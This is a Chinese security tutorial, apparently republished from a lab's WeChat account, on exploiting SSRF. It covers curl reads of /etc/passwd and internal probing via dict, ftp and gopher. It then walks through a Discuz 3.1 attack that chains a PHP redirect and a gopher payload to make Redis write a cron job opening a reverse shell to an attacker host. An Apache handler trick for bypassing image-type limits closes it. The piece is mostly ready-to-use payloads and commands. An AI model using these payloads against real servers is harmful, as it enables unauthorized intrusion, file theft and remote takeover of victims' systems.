前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSRF漏洞利用与getshell实战(精选)

SSRF漏洞利用与getshell实战(精选)

作者头像
Ms08067安全实验室
发布2019-09-24 15:18:59
3.3K0
发布2019-09-24 15:18:59
举报
文章被收录于专栏:Ms08067安全实验室

什么是SSRF?

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。

Example:

GET /index.php?url=http://google.com/ HTTP/1.1

Host: example.com

在这里,http://example.com从它的服务器获取http://google.com

0X00 SSRF的类型

1. 显示攻击者的响应(Basic)

2. 不显示响应(Blind)

0X01 什么地方最容易出现SSRF

  1. 云服务器商。(各种网站数据库操作)
  2. 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
  3. 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
  4. 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
  5. 最后一个一切要你输入网址的地方和可以输入ip的都放,都是ssrf的天下。

0X02 SSRF漏洞的危害

  1. 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
  2. 攻击运行在内网或者本地的应用程序
  3. 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
  4. 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
  5. 下载内网资源(利用file协议读取本地文件等)
  6. 利用Redis未授权访问,HTTP CRLF注入达到getshell
  7. wooyun峰会猪猪侠的ppt
  8. 进行跳板
  9. 无视cdn

0X03 SSRF神器Curl的使用

查看curl支持的协议列表 #curl--config –protocols

  • 使用curl读取文件 curl -v file:///etc/passwd
  • 使用ftp协议 curl -v "ftp://127.0.0.1:6666/info"
  • 使用dict协议 curl -v "dict://127.0.0.1:6666/info"
  • 使用gopher协议 curl -v "gopher://127.0.0.1:6666/_info"

0X04最常用的跳转绕过

0X05 Python+SSRF实现端口扫描

简单的端口扫描

同时观察Wireshark整个扫描流程

代码实现:

验证本地是否开启了相应的端口

Python代码编写的思路:

端口存在连接会一直在连接,连接时间会很长。

端口不存在的连接会被立马刷新

0X06 利用Discuz的SSRF漏洞GetShell

Discuz无条件限制ssrf漏洞(<=3.1测试是有这个漏洞)

实验环境:

172.28.100.109 为Discuz 3.1(Win10),172.28.100.108为Redis服务器(CentOS),hacker.xxxx.com为公网测试服务器主要存放ssrf用的php文件

Discuz3.1下载地址:

http://www.comsenz.com/downloads/install/discuzx#down_open

示例:

/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict%26ip=172.28.100.108%26port=6666%26data=hello.jpg[/img]

实际使用payload:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

  • 利用nc来测试SSRF漏洞

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://172.28.100.108:6666/?data=root.jpg[/img]

tcpdump抓包看到Discuz发来的数据包

nc也有反应了

基本可以确认这里是有SSRF漏洞

使用header 来配合ssrf漏洞利用,在我公网服务器放了一个ssrf.php

<?php

header("Location: ftp://172.28.100.108:6666/info");

?>

这里我是通过传参的方式,方便测试时候修改参数,代码如下:

PAYLOAD:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

同样nc也接受到了数据,测试时候发现ftp协议比http要快一些

KALI机器打开socat端口转发(-v参数可以将转发过程的日志记录打印出来)

socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

连接SSRF脚本

#注意centos和ubuntu系统的计划任务有些不一样,centos默认在/var/spool/cron/root,ubuntu默认是在/etc/crontab

执行成功

第四步能执行成功的前提必须目标目录有写权限

到redis服务器的上查看/var/spool/cron目录下已经创建了root文件内容为*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1

将socat的输出信息保存为1.txt,上传到公网服务器上

使用Python脚本转换为gopher支持的格式

注意最后要检查一下格式是否完整:*/1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1

新建gohper.php文件放到我自己的云服务器的网站根目录上,当Discuz访问gohper.php文件时候就会跳转302跳转使用gohper协议访问内部redis服务器

标准格式示例:

<?php

header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");

?>

目标机器SSRF漏洞的利用

过程中使用Wireshark抓包观察过程

目标redis服务器上发现计划任务已经生效了,如果这里有乱码,请翻倒文章底部有解决方案

目标Redis的shell已经发给我的服务器了

0X07 简单的绕过SSRF图片的限制

Apache配置/etc/apache2/sites-enabled/新建一个apache的配置文件123.conf

AddHandler application/x-httpd-php .php

这样apache就会把jpg也当作php解析;如果我们遇到限制了jpg后缀的ssrf漏洞就可以利用该方法,同理如果限制了txt的话。我们在apache设置把txt当作php解析即可。

将文件名命名为1.php.jpg即可访问

也可以这样写AddHandler application/x-httpd-php .jpg

0X08 可能遇到的问题

以下问题是因为我用的linux上vim编辑器导致的,后使用Sublime编辑器解决了乱码问题

0X09 常用挖掘SSRF漏洞的工具

  • 利用F12,查看网站的网络请求
  • 利用GoogleHacking,如site:www.baidu.com,然后查找网站是否有关于url的远程调用

作者:WHITE

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档